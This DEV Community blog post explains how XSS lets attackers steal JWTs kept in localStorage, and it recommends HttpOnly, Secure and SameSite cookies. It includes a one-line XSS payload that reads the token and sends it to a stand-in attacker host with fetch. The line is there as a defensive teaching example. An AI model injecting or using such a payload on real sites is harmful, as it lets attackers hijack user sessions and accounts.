DEV Community

Hrishikesh Dalal
Hrishikesh Dalal

Posted on

EP 12: Stop Storing JWTs in LocalStorage

The Common Mistake: localStorage.setItem('token', jwt)

When building your first auth flow, localStorage seems like the perfect home for a JWT. It’s easy to use, persists across refreshes, and is globally accessible via JavaScript.

However, in security, "accessible via JavaScript" is a critical vulnerability. If an attacker manages to inject a single malicious script into your site—whether through a compromised third-party library, an unsanitized comment section, or a reflected URL—they can steal your user's identity with one line of code:

// A simple XSS payload to exfiltrate your token
fetch('https://hacker-server.com/steal?token=' + localStorage.getItem('token'));

Enter fullscreen mode Exit fullscreen mode

Just like that, the attacker has a valid session token, and your user’s account is compromised without them ever knowing.


The Attack: JWT Hijacking via XSS

Cross-Site Scripting (XSS) is the primary vehicle for JWT theft. Since localStorage has no built-in protection against JavaScript access, any script running on your domain has full "read" permissions.

Because JWTs are often stateless, once an attacker has the string, they don't need to "hack" your database—they are the user until the token expires.


The Defense: HttpOnly + Secure Cookies

To design a secure system, you must move the token out of reach of the browser's JavaScript engine. The gold standard is using HttpOnly Cookies.

Instead of the backend sending the JWT in a JSON body for the frontend to store manually, the backend should send it in a Set-Cookie header.

The 3 Essential Security Flags:

  1. HttpOnly: This is the most important flag. It tells the browser that this cookie cannot be accessed through document.cookie or any JavaScript. If an XSS attack occurs, the script simply sees nothing.
  2. Secure: This ensures the cookie is only transmitted over encrypted HTTPS connections. This prevents "Man-in-the-Middle" attacks from sniffing the token over open Wi-Fi.
  3. SameSite=Strict/Lax: This flag instructs the browser not to send the cookie along with cross-site requests. This is your primary defense against CSRF (Cross-Site Request Forgery), preventing other websites from "tricking" your browser into sending your auth cookie to your API.

Implementation: The Header Look

A secure backend implementation will send a response header that looks like this:

Set-Cookie: token=YOUR_JWT_HERE; Max-Age=3600; HttpOnly; Secure; SameSite=Strict

Enter fullscreen mode Exit fullscreen mode

Why this is "System" Design:

1. Reduced Attack Surface

By using HttpOnly cookies, you effectively neutralize an entire category of XSS consequences. While the attacker might still be able to perform actions on the user's behalf while they are on the site, they cannot permanently hijack the session by stealing the token.

2. Defense in Depth

Good system design assumes that one layer of your security will fail. If your frontend sanitization fails (leading to XSS), your cookie configuration serves as the second line of defense that keeps the account safe.

3. Standards-Based Security

Using browser-native cookie handling is more reliable than custom JavaScript storage logic. Browsers have had decades to optimize the security and performance of cookie transmission.

Summary

If your token can be accessed by localStorage.getItem() or document.cookie, your system is exactly one XSS vulnerability away from a total breach. Moving to HttpOnly + SameSite cookies is the single most effective upgrade you can make to your authentication architecture.

Top comments (0)